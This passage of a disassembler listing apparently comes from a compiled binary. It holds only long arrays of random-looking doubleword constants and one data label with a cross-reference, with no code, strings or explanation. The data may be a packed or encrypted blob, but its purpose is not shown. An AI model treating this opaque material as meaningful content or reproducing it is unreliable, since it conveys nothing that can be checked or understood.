		dd 50B71D50h, 0E8C9091Eh, 0A35E844Bh, 0AD5F0E10h, 30BE101Dh
		dd 16BBACD7h, 0B0E35C6Dh, 0FC22E10h, 54AEC80h, 23BAFDD6h
		dd 0EFC954CBh, 252280F7h, 3ADC5C92h, 2E800C1h, 0E0E7A12Dh
		dd 0C24D89C5h, 0EAD49C40h, 29211090h, 12C15816h, 5AD0A4F2h
		dd 0FE98F213h, 34EFD416h, 35E3F43Ch, 3D38746Ah,	0CEBA5213h
		dd 8E8B4E4Ah, 0B99C7A7Ch, 4E120510h, 34C4CBh, 278C78D8h
		dd 0FDB0D729h, 0C3040882h, 96802FFh, 66E7D46Ah,	879C7101h
		dd 7284E904h, 0AFF06FACh, 665E933Eh, 64122680h,	0F50D0075h
		dd 0F77E2A6Fh, 50448D0h, 7DE64C1Ch, 0A4776DC7h,	0C35F1232h
		dd 5A510B86h, 0A45CC530h, 92699270h, 1DBD27BEh,	0F6F63A42h
		dd 9B53B613h, 0C3F54B05h, 3D816AB4h, 0D29DA3E7h, 1A84BC61h
		dd 0FA3C9B6Ah, 0B13E35CDh, 0BBF7550Eh, 94B07CAh, 5EC43CEDh
		dd 5555695h, 0E7011C44h, 0E1621601h, 893FF763h,	30967F67h
		dd 0F5D5E585h, 5C010208h, 3B5E0287h, 59C33248h,	0C21241A6h
		dd 0EF593A7Bh, 0DC38E0E4h, 0D174EA4Eh, 3FE8883h, 70CCC737h
		dd 0FC050342h, 0FF366A8h, 76E8C06h, 0EAD8D3B0h,	0D21689CBh
		dd 59E39C78h, 0A55C6795h, 0C3E8D556h, 174E5F13h, 0E7B9E4E1h
		dd 0E37797FFh, 0F51FBC1h, 0DE7B30F0h, 748B6525h, 36150013h
		dd 0C309795Ah, 134D4C95h, 0BB011FA0h, 5EFCECD8h, 0BBBF4197h
		dd 41432466h, 18834ACh,	0A760F131h, 92B54FA2h, 0A0D5848Dh
		dd 178FC6BBh, 0C1A613Eh, 30460D38h, 350BEED1h, 552D1B30h
		dd 7B78FAB1h, 75E057CDh, 80F59C40h, 4A146A0Ch, 23FACD29h
		dd 351A0B60h, 0B0716D28h, 0CE4820F5h, 0DB5A0AFEh, 0E9C2E6E7h
		dd 4775446Bh, 0CC253FBEh, 73B59C50h, 0A85F6484h, 0B6A95B3Eh
		dd 37554979h, 4A5B902h,	0A5575147h, 0AAA5D1EEh,	393A61DDh
		dd 0EFE2F99Ah, 0DDCF1041h, 4BBC6CC4h, 96A21E35h, 0CA685C06h
		dd 2F20CD6Dh, 0CF43F76Fh, 0F91940BAh, 0A56312C2h, 7E4D067Ch
		dd 94972772h, 0A8EA9520h, 964972D9h, 2C5548F7h,	0D00AD500h
		dd 4B06BD5Fh, 39C8C22Eh, 0D722911Ah, 54953A16h,	6127256h
		dd 20D8F07Fh, 4976DA29h, 77A76A32h, 0BDCE7CBDh,	0B254D993h
		dd 9B056B6h, 0D411E868h, 0EC8F62ADh, 390AD07Bh,	0D76BBD2Eh
		dd 0F99DE7B4h, 0C0C6C901h, 71FFB20h, 0E2338F0Dh, 2E1D5046h
		dd 35042DD1h, 237C3CF3h, 82BAC794h, 0D95540EFh,	0F6D2201Fh
		dd 2ACA3C2Ch, 0E33600CFh
		dd 5C482D15h, 8BE99BCBh, 999799AAh, 0EEE8846Fh,	4CA525E5h
		dd 10F26DFEh, 92B22A87h, 7A409FDEh, 16160BCBh, 9B0137F9h
		dd 83E9EB87h, 5E25F97Ch, 0FB537154h, 880B0BFAh,	0DA8C59ECh
		dd 0A995280Eh, 5C41D2A7h, 0A05BD8D5h, 574F085Bh, 0EA7F96F0h
		dd 2A30ED88h, 9258009Ch, 3DCF8102h, 7C259009h, 30A17647h
		dd 7813342Ch, 0CEE9380Bh, 0F6912BCDh, 0C9D028Eh, 5057731h
		dd 6DE90707h, 0F50BA7Ch, 0C4FE52B4h, 0F8E0F745h, 46D7D342h
		dd 2708696Ah, 0E8300E5Dh, 14DED8E5h, 5125EBAFh,	1FAB2F12h
		dd 0B85DBD05h, 46915B3Bh, 0CC2ACDF2h, 1E7E436Bh, 885A382Fh
		dd 800F35Ch, 1729956h, 2CD9AC2h, 0B6ED4171h, 34E1DA31h
		dd 4B6966CCh, 0C45FB849h, 0C4A54BDFh, 48DCCE5Eh, 36C06ACh
		dd 20C4C8Fh, 662F5382h,	0E088D601h, 0E9500508h,	35CFCCBh
		dd 0B568B252h, 45D5826Bh, 0F58086F5h, 0CB25F2ECh, 0B1615342h
		dd 0C85E1356h, 0E9EC294Eh, 6D8E624h, 572577BAh,	0A794D7E3h
		dd 3A599FB0h, 57502D13h, 54B5C39Eh, 0A3149247h,	445E3FB7h
		dd 8D2FEB1Ch, 58533CDEh, 7DE9C3F7h, 0A13D4C34h,	8584E94Bh
		dd 0FB472668h, 77F15BF9h, 0C8C1BF2Ch, 0B1C20A62h, 1E380D7h
		dd 6F5EAB91h, 811B130h,	6744BF01h, 26EE9320h, 42FCC689h
		dd 0C523AE35h, 93597DAh, 0C59C55E2h, 0FBDF68EBh, 5FD80D62h
		dd 925B6561h, 62CB5D4Fh, 0FFF82185h, 445FB22Eh,	14133A9Ah
		dd 0F7362461h, 25AED745h, 2DA3AB49h, 3E62EF92h,	2FE75C90h
		dd 20618561h, 95C73AFh,	4F6D12B0h, 1A9E87F8h, 227C6133h
		dd 44DDF70Fh, 89A80782h, 6A77F1C0h, 9C906071h, 8B6EF805h
		dd 81AB217Fh, 6C1F2702h, 5B7A9CAEh, 0B84BC7FDh,	0F410B1C3h
		dd 7C38000h, 39241F0h, 637D5C9Fh, 0CD108759h, 4B27FCC0h
		dd 0BEB0BFF8h, 0F3ECB877h, 0F469A906h, 2CB60140h, 4155FA0Ch
		dd 426360A5h, 0B174E8DFh, 0F010D00h, 26DEF753h,	0AF545EE9h
		dd 469D3772h, 20A9B080h, 5848E161h, 73ED04B9h, 9AC32816h
		dd 0F4958F4Ah, 8E2E83FCh, 0B5BE81FFh, 7A68C263h, 9DD07987h
		dd 79F5211Bh, 0BDED045Eh, 0AC05DFFDh, 0E5E94E1Bh, 0BECD22E4h
		dd 0CFB74778h, 0E78B9F88h, 1212BE5Fh, 0E8D37CE9h, 685FC141h
		dd 8F2A5434h, 8206496Dh, 54FCA2E9h, 0F85483Fh, 39A140B3h
		dd 0A7B1F781h, 542B570Dh, 0BA2CC368h, 0F5E9939Ch, 7E871011h
		dd 7DE77DC0h, 217527D2h, 0A0BE1E53h, 9314F1Bh, 9D78B792h
		dd 59E0F49Dh, 0B6883B21h, 0BFB39A0Ch, 5FE299D3h, 700DE052h
		dd 164F8B07h, 0AC85934h, 0F21504DEh, 0AB5C0120h, 0C04D2CDh
		dd 949806AFh, 0CB0737C3h, 59F60218h, 4BD422B4h,	0A18BE12Ch
		dd 0EA080238h, 0D859C80Ch, 128DBC15h, 0E95C2D1Fh, 57084030h
		dd 5A48497h, 0F58431B9h, 6D6802F3h, 24347D59h, 2253E90Ch
		dd 692F0A01h, 4075A0D5h, 3168B662h, 4C293C44h, 80B738BFh
		dd 965CA28h, 0E8969FD6h, 0AFA424Dh, 0C68555Eh, 6FA7BC8Ah
		dd 0CD0B111Fh, 4B1F0037h, 94CA34FCh, 2AA21D7h, 50D5530h
		dd 4F4BBE90h, 1002EB28h, 326D9212h, 6C13C8FEh, 28D00CA4h
		dd 0B6A9A1Ch, 3E05D72Ah, 33CC0908h, 2CAC40A1h, 0D118C9D9h
		dd 47A164AFh, 0D2422458h, 51CF0500h, 50BD7h, 572A694Fh
		dd 310DE0D1h, 686E5B26h, 0A3C4C012h, 0F7E29C80h, 39E50C56h
		dd 0C2CCEAC1h, 0F520D20Ch, 0FC670C4Eh, 0A8255B1Ch, 64555C8Fh
		dd 0B0FCEB70h, 5106BAD7h, 120607E3h, 92516605h,	7248644Dh
		dd 2E1E41BFh, 0DDBF12CDh, 0C35B2EA0h, 0EC80813Ch, 63B668DCh
		dd 9779373h, 84C6E919h,	3EA6C4C8h, 1674F35Ch, 0D4F73CADh
		dd 1B864B48h, 0F045ED4h, 0CC68C8BFh, 0E9C6C0FCh, 0AD90210Bh
		dd 0A0E85848h, 308405h,	802D150Dh, 17E1071h, 0F18FC74Eh
		dd 0E9545004h, 0B221A092h, 0FE59D277h, 55E75EF8h, 5837F50Ch
		dd 524F7C30h, 0FA60A38Dh, 6BAB2568h, 0C8A564D3h, 2D742C46h
		dd 37E123F9h, 0C13C7Eh,	0C586DB9h, 0F9CD091Bh, 29CDD27Eh
		dd 405A2DD4h, 46C02BEh,	0D6E974DDh, 0C996FCF1h,	7F8B5D12h
		dd 0CD5D7F8Bh, 0EA718990h, 566AE020h, 584E6E85h, 12DE3A0h
		dd 956F444Ah, 0B48BD4E9h, 0F7A8D08Fh, 753C5B0h,	91294B2Ah
		dd 0E0DC5D65h, 0B66AF920h, 3114274Eh, 0F0031969h, 3C120EE1h
		dd 332241E5h, 0B769709Eh, 8FDFF868h, 7FE6189Fh,	6CBE8054h
		dd 47383503h, 0E36BCE81h, 0C4FFC590h, 46BCC0DFh, 925A6CE9h
		dd 5EA02B98h, 0A8ECEC5Fh, 0E2917AEh, 42C8B169h,	0D073BBDCh
		dd 49CA143Dh, 2BE781A7h, 0C820846h, 0C9F51432h,	0AE3FE8D5h
		dd 3B6EBFFEh, 5CCD8102h, 87622E58h, 1D65B5CDh, 0CC2F80BBh
		dd 495CB255h, 6D250524h, 0F4873DEFh, 65183360h,	0D0D64FF7h
		dd 4F0CCE75h, 0F56E0626h, 463D102h, 72E37542h, 0E99891F7h
		dd 0E1853E0Ah, 1BB3B98h, 21B61325h, 6C7AE957h, 5B5F278Dh
		dd 48410DDCh, 0B65CD819h, 1E98B49Ah, 86DC700h, 0B8E38117h
		dd 373D2E19h, 6893C92h,	4F036059h, 2E9A0A50h, 81A85877h
		dd 0B9E75B08h, 4CCA8CE9h, 0D2252DE6h, 689FBADBh, 9FCD4516h
		dd 7C612ECCh, 12265D4Eh, 3E3AB900h, 0E1C156F6h,	0F1002A90h
		dd 1AF0859h, 0D3D64FE9h, 0C23CE026h, 0B4009541h, 605755FBh
		dd 6A030C7Eh, 0B953C61h, 585A7E6Ah, 59BF4FA0h, 54CD384Fh
		dd 42842E94h, 38E90564h, 78BBFA40h, 0B7444050h,	923FA259h
		dd 0A6402835h, 0C90D5FF8h, 5423849h, 1802585h, 0D353EA88h
		dd 71D2DAFAh, 7CBC3C5Ah, 3224A1B5h, 0A309D696h,	1E28056Dh
		dd 2AB1F471h, 0DB90DDB6h, 12D210F6h, 3A20F702h,	0EF73C016h
		dd 27F71F1Ch, 387A413Eh, 2EE5BAE9h, 0ADEBFE91h,	0EBD2AF29h
		dd 502D15CAh, 5FC94DD6h, 65A32846h, 8A172B8h, 25E9503Ah
		dd 0A4A7CEDBh, 0E1924E1Ah, 44707F59h, 4CB32DEAh, 1048B146h
		dd 13EEC71Ah, 0A53C3BFEh, 0EA16BBEAh, 0D8CBA03Dh, 2E7ADF05h
		dd 7426CB5h, 8B340760h,	2427B470h, 0E295C822h, 0A5BC993Bh
		dd 5025B2DCh, 62F69F5Eh, 8250C1DAh, 80C8B700h, 9D5FCF39h
		dd 0C797FAE7h, 0AE79B404h, 35C85B09h, 0AFA8B46Dh, 0D12C580Eh
		dd 9A2AA964h, 8F685B09h, 60467E31h, 6E2C01Dh, 466807C2h
		dd 0B356A027h, 9E380EEh, 0EB76E92Eh, 28A55720h,	0F7353854h
		dd 75EC05DBh, 951D6509h, 47E7C706h, 0A5E4F99Dh,	0A80475FBh
		dd 80F80114h, 4622BB8Bh, 0FA61F8B6h, 49B324Ch, 35B37378h
		dd 1069C180h, 35484CE4h, 0A8D9B574h, 1497393h, 77534ABEh
		dd 93E5FF08h, 0A576AD5Bh, 0ADBF8CEAh, 78ADD941h, 4D5930A2h
		dd 55021A57h, 3E81FD61h, 0B9DD8FD3h, 3981FD21h,	50AF1CC5h
		dd 4F4B2CAAh, 6AA2B974h, 9935F993h, 0DC7A50BEh,	72905C4Dh
		dd 4C152A26h, 0E456DD40h, 91AAC039h, 5374953h, 7A484E09h
		dd 2D408541h, 3ABF0713h, 0BDE90D10h, 0A02B1043h, 5761C18Bh
		dd 8D5CD1A0h, 5A2FE9D4h, 512E8DA9h, 50D6923Bh, 37DEF680h
		dd 0F07CE13Dh, 6805CABCh, 0FC465C7Dh, 1E0A35DCh, 0C05E5C1h
		dd 9107A7Bh, 165AD533h,	0E3B8D906h, 0B73753Eh, 0E4C35578h
		dd 5B57DEA5h, 0A4965589h, 104D0556h, 9A7A0175h,	2F250304h
		dd 787B7F45h, 97570E00h, 0B529BFF6h, 7E8CD379h,	0B55622E8h
		dd 5D524174h, 8A82EB4Eh, 0A718C775h, 22E3B556h,	5D4D2CE1h
		dd 44920E9Ah, 0BF4B4F24h, 54802FC4h, 0C0F20763h, 1868E768h
		dd 0CC019BBh, 3EEB4404h, 503B32E9h, 9BC35946h, 6FE220F7h
		dd 6EB06A93h, 0EC5AA740h
		dd 0EB11609Bh, 2A4CE8EAh, 70272F7Bh, 0F021C420h, 243B4F99h
		dd 15CEAF01h, 0ED68C065h, 0B2E9164Dh, 2F5880E3h, 0C98AE21Fh
		dd 0AC067F94h, 0EF057996h, 32EC4FAEh, 0CF2500FAh, 20906856h
		dd 0DB4E1CC1h, 0DB2082EEh, 0E1C94AE9h, 0C9F62B96h, 2A28532Ch
		dd 1ADE95B8h, 0CE16C2h,	0F52348B9h, 0D0144D65h,	5E09165Eh
		dd 0AD00D37Dh, 71DE4DE2h, 2FD97CC9h, 0D7DDB0Ah,	0DC48F31Ah
		dd 800748B1h, 0CB3003F1h, 0B142C1D5h, 4C1CD368h, 66554C0Dh
		dd 94A0AF2Dh, 3F77A8DBh, 2D656095h, 0C9E6BDA9h,	0D25747Ah
		dd 78749E60h, 4B079E5Eh, 444BBC4Ch, 0F9B73861h,	25A6632Eh
		dd 0F781A71Dh, 63163F85h, 0C62D2ED1h, 0EA51DDFCh, 1D1302DCh
		dd 0D0E3E90Ch, 7D688AEAh, 8080ED65h, 58E424C3h,	1AB75CC2h
		dd 97E0775Dh, 0F725E9C2h, 3C26F9E2h, 21537416h,	6B06B296h
		dd 2F59573Ch, 0F8669A68h, 2E7CBB01h, 3FE912D3h,	33021BAFh
		dd 0E45F06EDh, 0C7BA04C7h, 80167562h, 790964C6h, 360CFB60h
		dd 5522F0Eh, 1A24612Dh,	88E09176h, 0C8AA04DCh, 6C2568FCh
		dd 491AD12Fh, 0DC1CEEC8h, 0EE6233BAh, 0FDF5D6h,	706C8FB8h
		dd 0D7356601h, 2D40AD3Eh, 5AC0D8D8h, 5F0EECC4h,	41EB42F4h
		dd 0D9A82D4h, 559F704Dh, 0E12483D0h, 51F1B07h, 2197C9C1h
		dd 0C8432BFh, 87FC75F1h, 41FA5093h, 0CC23A06h, 41BF2907h
		dd 9DA58C2Bh, 0C3C553DCh, 0B2C0994Dh, 50060683h, 7AF226B4h
		dd 535FE558h, 2260D999h, 0A9085A4Fh, 10749430h,	0B902E0EAh
		dd 0D831FF4h, 5E979F78h, 4D72801Ah, 0B0E938D5h,	0F5D7714Fh
		dd 77804272h, 0D98482A9h, 85B7AAC2h, 65DD0769h,	9FE90419h
		dd 9110887Dh, 7C9F2C70h, 5DD4FA84h, 0B0BD5560h,	6C0C2C7Ch
		dd 0CD81814Ch, 40644058h, 11D049Fh, 0E8DDEE9Fh,	0E66BCB0Bh
		dd 6020408Bh, 1E4CF381h, 39E8FA4Ah, 2D267C03h, 6193E933h
		dd 5FFBE707h, 6A4DA89h,	0E1C07791h, 30601DBh, 0B353D1F6h
		dd 16B520A0h, 0F70F3E6h, 885BD917h, 3410A7FCh, 0DE844EF7h
		dd 0E4FEF2FAh, 9B1C75A8h, 0BA5F2D19h, 27C1E5A0h, 60E89A5Fh
		dd 5A37430Ch, 0FCFD40Fh, 8AC75D08h, 50920AACh, 5680AFFDh
		dd 2A5E7858h, 0BB82DA5Fh, 7A892DE7h, 0DFBE0E03h, 6750DA27h
		dd 2CE984CEh, 5BA81682h, 7519028h, 312002EFh, 3ED8B22Bh
		dd 54904748h, 0B20E9731h, 36D9C6A8h, 0E2CF812Eh, 407B0750h
		dd 92DEBF3h, 292E8E3Bh,	8046942h, 2CE4EF5Ah, 0D2224B47h
		dd 23DF376Dh, 1643F14Dh, 0F824A19Fh, 15D88122h,	0A56F1A4Eh
		dd 2051CC4Dh, 6CB5695Fh, 0B7046CECh, 68120AE4h,	6F33215Fh
		dd 1D9EC955h, 0E6C06F38h, 520C7532h, 2DB76A92h,	0FE6CF61Ch
		dd 0EB893D78h, 0A9124BBDh, 0CB30F3F9h, 0F0B5EA73h, 0A64F309Ch
		dd 44B0CE2Dh, 5527F92Dh, 0E5E66598h, 405D7912h,	76A3F90Bh
		dd 0BA25C527h, 485CD709h, 0C7FC4128h, 7469B63Ah, 7EE1B9h
		dd 385F05F3h, 58DDC197h, 9DF6B320h, 5B8E27F1h, 0FC2F3C01h
		dd 0CA2258E5h, 18D14380h, 0EADBF7EBh, 3BE14276h, 81B051A8h
		dd 31261AC7h, 0E70DB4F5h, 0C341192Dh, 7206B1A2h, 685FF909h
		dd 8B57FEA1h, 9FAF4BF6h, 0CDD3CBC9h, 2C3EE33Ch,	0C1632506h
		dd 9CF655DAh, 47D7764Bh, 40E0EF75h, 38C0B75Fh, 8C1158F2h
		dd 2939CE3Eh, 4E4C2D83h, 67585950h, 68C72ED8h, 6B79C2A0h
		dd 0C5F66DEEh, 58912BF5h, 0C259848Dh, 0D00E8941h, 4DA4C510h
		dd 6FA060B8h, 7A1D769Fh, 3A70162h, 0FA6E84AFh, 3A9E17Bh
		dd 81EFB744h, 0E44FA498h, 0D64FF72Fh, 4C0C56B4h, 3C58895Fh
		dd 957ED305h, 1006AC49h, 5201A82Dh, 8472C068h, 3C466B47h
		dd 4C3FAF4h, 0D20283C7h, 1918C159h, 5BFA06DCh, 0D66DB289h
		dd 0D05D19BAh, 4FF578E7h, 0FEB184B8h, 806064C6h, 2C3BF0EAh
		dd 4273CB7h, 32B4E97Dh,	0B23E4BEFh, 895D0BC2h, 4506F5A8h
		dd 4FB254BFh, 1970E919h, 0DDDDE823h, 927E768h, 51653B79h
		dd 19459401h, 0C33E767Bh, 5A4F315Ch, 0D0ED499Dh, 0E59AE83Eh
		dd 0D9538685h, 0ED1FA105h, 1EE6D9BCh, 5FE23A59h, 0BE96D1E2h
		dd 0F362EC21h, 0A9331605h, 0BFFC0EB5h, 86B0529Dh, 296D2668h
		dd 0F2006927h, 13BF7387h, 1A07E91Ch, 0F7614A38h, 1CE16866h
		dd 28D52D2h, 0E99BB050h, 5BD9EA77h, 68DB6809h, 82073508h
		dd 0D03EE0D5h, 0B751F0Fh, 0C427524Eh, 0E449C9B7h, 77C05779h
		dd 0B9512077h, 362C0A86h, 12914942h, 3E448979h,	0F5813C00h
		dd 2DC30982h, 0A1833132h, 73768036h, 83531E67h,	0B3345FEBh
		dd 80275E9Fh, 0FDB151A7h, 0E916C9FEh, 0A3203D95h, 3BE315BCh
		dd 0CA682957h, 60732508h, 0F360F22Fh, 0AF62126Eh, 0FC2A38CFh
		dd 0BB215BD1h, 0AE378E12h, 48040961h, 60046F68h, 0BC715A2Fh
		dd 8EE28D7h, 505A53F4h,	188892B0h, 0F4133335h, 1808A48h
		dd 0F86C9FD3h, 0A4841A4Ah, 5C537CAEh, 4A3CE918h, 0C8FA8812h
		dd 5124A154h, 53D7D81Fh, 0E4BFB540h, 18446664h,	0B2EFC147h
		dd 46F24AF7h, 40EF57ECh, 6A7FD288h, 0D85D0A28h,	3C5F0781h
		dd 0CA8B5F8Dh, 42D84A77h, 5F8EE934h, 0EF68100h,	0C42650F2h
		dd 0B1EEC4F3h, 5C450CF1h, 44B1DCBh, 0ABED8F6Dh,	0BE41C15Eh
		dd 0FE679DA1h, 0B82D897Eh, 0C5F1211Bh, 0E3EE234Ah, 9DF0E31h
		dd 36AF1701h, 0A10B0C2Ah, 62F6D266h, 17317DEEh,	9E24C005h
		dd 521E5660h, 97CAEBE9h, 0AD139D4h, 0BA5A8564h,	0BE741D3Ch
		dd 3BE38172h, 3073A20Dh, 80E01730h, 0D2C4015Ah,	877382AAh
		dd 0C4168108h, 4005D9D2h, 5BF761B0h, 80675DDFh,	6A3DDCCBh
		dd 0B7BBFB01h, 0D0B32914h, 68F00909h, 0E90FE0BDh, 6C6F5D91h
		dd 0CC0ABC16h, 0FE34B708h, 0A804CBh, 4D3F618h, 0E554DCE9h
		dd 120DEBB2h, 0C584D5Ah, 384C0881h, 81D330E9h, 13FCBB22h
		dd 0BC8018E0h, 780E0DB1h, 584F42E9h, 48046EE2h,	0AF14C422h
		dd 5626ACCFh, 72F0015h,	25BE35AAh, 705B497Ah, 964E2EF4h
		dd 0B5542753h, 12E648EEh, 41535E56h, 5851FA7Fh,	0E1064435h
		dd 36F1EBE2h, 89962459h, 2D4050Bh, 3A7A0209h, 0E19ADF6Ch
		dd 375163D0h, 0D8B4C0D9h, 0D8E1202Dh, 4B4C20FDh, 1CE6883Ch
		dd 923DB753h, 59A3129Ch, 3C3C6F10h, 5AD7925Bh, 0DBACAC17h
		dd 69221301h, 40C72948h, 3161E7AAh, 79498D58h, 2F06D909h
dword_4F0044	dd 5E520BEFh, 0AF0CB57Eh, 69E98A42h, 30F177CEh,	0A978A94Fh
					; DATA XREF: ___:00437A2Co
		dd 20D37A1Ah, 4E099E7Bh, 711FDA68h, 0B385BC35h,	8B76581Eh
		dd 0D8F700D6h, 87A55E35h, 0A0507E88h, 2430D788h, 16282D54h
		dd 0D364E9B7h, 81A664BBh, 0C2993D37h, 5843797Fh, 5D5A6C68h
		dd 0E9E056BCh, 47B47955h, 18C8FA49h, 23444D68h,	5280BC91h
		dd 720914BAh, 6918F741h, 0C2CF83FFh, 0A5D35724h, 7104E71Fh
		dd 0AB804A77h, 4BF17585h, 0DB62776Eh, 28ECE280h, 0E93AE3C7h
		dd 0CDBC4E54h, 9C4B5694h, 450315DEh, 83E97789h,	0EC2C5FCFh
		dd 60049A8Eh, 0B343A20h, 15E9CE1Ah, 785F1562h, 5A26B6A8h
		dd 2F0CF3D5h, 68481C60h, 0D97E4A25h, 98D0A003h,	0E90BC2A5h
		dd 2F8DC1E6h, 0BD1DFCEh, 133D7056h, 8BA9DC5Fh, 7A9B91A4h
		dd 9F337BCAh, 0CDC1D3D9h, 4ED7DA4h, 2939BA68h, 38A81C2h
		dd 1BB3BBFEh, 0E17D8AC5h, 1A40C182h, 173A8FFDh,	71C68939h
		dd 0A4E9F0A9h, 0F581D4EAh, 3CA326BBh, 1E580C83h, 0AAF536B0h
		dd 5F7580F6h, 8EEEB2A7h, 0CEBA72C5h, 936809FEh,	0A6FA5950h
		dd 15174A09h, 35018CA5h, 430A1BA3h, 7225CC05h, 376E046Fh
		dd 68C28AB8h, 0A94C0BC7h, 0B7E9530Ch, 3CC1155Ah, 5D8A3158h
		dd 2F91CB21h, 0D2412442h, 10643BEAh, 0E86EDEB5h, 16F5A605h
		dd 0E9516858h, 0F3FB1056h, 0DC03F05Ah, 0EC01102Dh, 0BB6817BBh
		dd 0A561EA2Dh, 0FC5823A9h, 57B05168h, 1619D4A6h, 1249CE45h
		dd 26849DE9h, 5A4928AAh, 0B301BB90h, 0C175F757h, 7F7008EAh
		dd 98AA7748h, 9CFD78C3h, 318C4D82h, 3EE94DE1h, 1825C58Bh
		dd 0B105137Ch, 6FE0827h, 0F9341FE7h, 446F358h, 22327E3Bh
		dd 0F08F3581h, 42D2F700h, 335B47F0h, 8E039041h,	0B47E67C2h
		dd 6F60FC4Fh, 523C61Dh,	28707653h, 81EB3DE6h, 0DF35EDDBh
		dd 6934A77Eh, 61AD468h,	15708668h, 40677138h, 8C5C5BA9h
		dd 2954224Dh, 80160592h, 0ABEF753h, 27072DE4h, 9CC27BF9h
		dd 40999A02h, 5D4204h, 0BB530A20h, 798D5F85h, 0D60BAD98h
		dd 5719AF74h, 21EB2DA0h, 375F3E5Ah, 18931FB1h, 8A580203h
		dd 0B480CA3Fh, 0C867BAE9h, 60C4361h, 0F330CD62h, 308D70C9h
		dd 6718482Fh, 6D4FD98Bh, 0C4AB97C4h, 65A11240h,	159B8093h
		dd 34EBE39h, 0E91F85BCh, 0F792AFC7h, 0BBE58563h, 0FF34DF75h
		dd 445CAE62h, 25CA9848h, 1B4E2961h, 0B2565897h,	0BFC1E6DAh
		dd 0D9BFE36Ch, 50415AD8h, 1EB9004Ah, 8AA3D19h, 0B5C83B2Fh
		dd 39F883EEh, 0C6010E1Eh, 2F085139h, 64ACE860h,	22746BBDh
		dd 3ED6777Ah, 0D15B83F3h, 35DFE98Fh, 4B6920A8h,	303AAE16h
		dd 1F321DA1h, 2267F707h, 0EC44851Bh, 1101CC78h,	0C9775DE9h
		dd 61C2034Ah, 89DAFC48h, 63DE71D5h, 46F95B59h, 34387E16h
		dd 209F02B4h, 0C78058E7h, 7AFEA4C1h, 0FD3B1B29h, 0C6099336h
		dd 834CDFF8h, 97E1F63Eh, 0ACB31BD8h, 12EDF702h,	54D61A0Bh
		dd 5F545741h, 7226C6Ah,	5497CC70h, 987D727Ah, 0B5C331EBh
		dd 20BE0222h, 2817B300h, 0ADFCC5D8h, 9CD0FC1Dh,	7E3EB082h
		dd 9D1A5D59h, 69AA8C8Bh, 0BAAAA874h, 38B2C78h, 1D6D1098h
		dd 9E6F0F68h, 20E0AE19h, 5D4C7B4Fh, 9F791C46h, 6806512Dh
		dd 0A71A743h, 0F90C1726h, 0CBB0E6Eh, 0BF01BB0h,	471A1E24h
		dd 41AB530Ch, 385FF0Bh,	0F9C57FE9h, 192D0013h, 573AE4Eh
		dd 4A631267h, 5864B34Ch, 9C1A1003h, 0DDF18101h,	0ECCFAC69h
		dd 0EDCE4C10h, 0DCF95201h, 491DC99Fh, 79AC5051h, 5B72E949h
		dd 82B1A37Fh, 0DD188468h, 5D9233E7h, 0F8F4A0BCh, 0C326D8EFh
		dd 0A6714B8h, 890EA2Ch,	738F0A58h, 5025383Ch, 7D7207D6h
		dd 68E82A66h, 7195FF77h, 0BFD7E292h, 9F7E7357h,	0B67165BDh
		dd 0C9304A8Bh, 92C11CA9h, 0B953346Fh, 151858E5h, 0C38C521Eh
		dd 8939BE56h, 847F29CDh, 86CC12DDh, 22E10ABh, 5813A952h
		dd 2548F0h, 1A837EF1h, 2670E10Dh, 0AE353202h, 0FD763042h
		dd 0A47CADE1h, 0C13018ADh, 7EFCBEh, 0EBBB66F4h,	31C05770h
		dd 994A689Fh, 733F0B7Ch, 0C37805E9h, 48D0B432h,	0F05A068Eh
		dd 2FF55A97h, 0B9CD5E54h, 0CC856C13h, 7FAF39EFh, 6E4DB338h
		dd 85C65DE4h, 0D9805762h, 0F32E10C2h, 425A0F4Ah, 0E90F01AEh
		dd 42A5C0EAh, 0C3EC8057h, 5077D5FCh, 6E4CAADh, 125B037h
		dd 88194D9h, 0E770705Bh, 5EC03803h, 22D8F740h, 26EC5D82h
		dd 0B131FB1Eh, 54742CC9h, 2B7EAD85h, 8640A081h,	76B90130h
		dd 480249DDh, 5E372F03h, 4454D9E0h, 0C0CDD9B7h,	77118DEBh
		dd 88013D2Fh, 7C2D084Eh, 94515AABh, 0F35F090Eh,	5FEEAAC8h
		dd 21EBF748h, 0BE760FD2h, 0AFECA6BFh, 0C8626EF3h, 0F2E6DDE4h
		dd 8BBCEC4Fh, 7A3126D4h, 0E151E3CBh, 11163AA2h,	0CB3BC1FEh
		dd 8014C219h, 0A85F071Fh, 27685B27h, 97196A40h,	4657C2D6h
		dd 968F665Bh, 27CBC116h, 0E8EB8754h, 0A22D539Fh, 0D4E020F8h
		dd 0C317B61Ch, 37A8E375h, 0CC004BFCh, 0F4D7C480h, 247F62E0h
		dd 7941F75Bh, 8823D245h, 0E304DFFCh, 2813EECBh,	0B11101C3h
		dd 8CC1800Ch, 0BE0BEB3Ah, 82E60681h, 0C48393Ch,	5302E71Ch
		dd 5C0293A4h, 7D72CF1Bh, 120579E3h, 0A1A4EB16h,	41C1FF0Fh
		dd 0F3292623h, 823E1F60h, 5BDA2240h, 68E3989Fh,	6E1A55DEh
		dd 0B1C160h, 8111FF7Dh,	5A1E7CC5h, 453B6C58h, 3BAC6AE2h
		dd 0CC7702F2h, 0D2E64FD3h, 8F40EA0Ah, 120E102Bh, 0A0BB5316h
		dd 0E934291Fh, 0E225D5Fh, 59386F09h, 9314555h, 87DAA790h
		dd 3D426A58h, 0CBD5927Bh, 12F1E8F0h, 0A02A9D33h, 11D57ABh
		dd 5EF34F79h, 0BD2474C1h, 0BCC081C4h, 1031154Ch, 0AACBDF01h
		dd 1623D20Ah, 1DD618E0h, 0E00557ADh, 738CE90Eh,	8EC5E7ECh
		dd 349F4CEh, 50D2F71Eh,	0BDC4DAFEh, 24C3F7FFh, 0C170C5C3h
		dd 680F9E3h, 0D3685207h, 465BC526h, 7D692500h, 5810375h
		dd 0DB488AE5h, 21CF0033h, 2964E3CFh, 0C2EF6097h, 5BF00956h
		dd 23FD3195h, 844DBFFAh, 0CB36F2FBh, 0DF2255FEh, 2905BC88h
		dd 96CD1DABh, 33DD44D0h, 0DA30EB43h, 4E785FC3h,	6DB93Ah
		dd 644842AAh, 9F62CAE9h, 0C9BD5A14h, 7CEA6BD7h,	305C42EAh
		dd 68598EC0h, 0F4A828F2h, 5081F015h, 0C54156ECh, 0A489F617h
		dd 2B1DE610h, 0EA806D5Bh, 13C95590h, 14872F5Eh,	3158595Eh
		dd 0BF74D611h, 48C361D0h, 0B96E4B23h, 380841BAh, 788DB25Bh
		dd 3CB33B3Dh, 71E0BEA7h, 0E7BF5954h, 0CF7EAFF6h, 0A0526850h
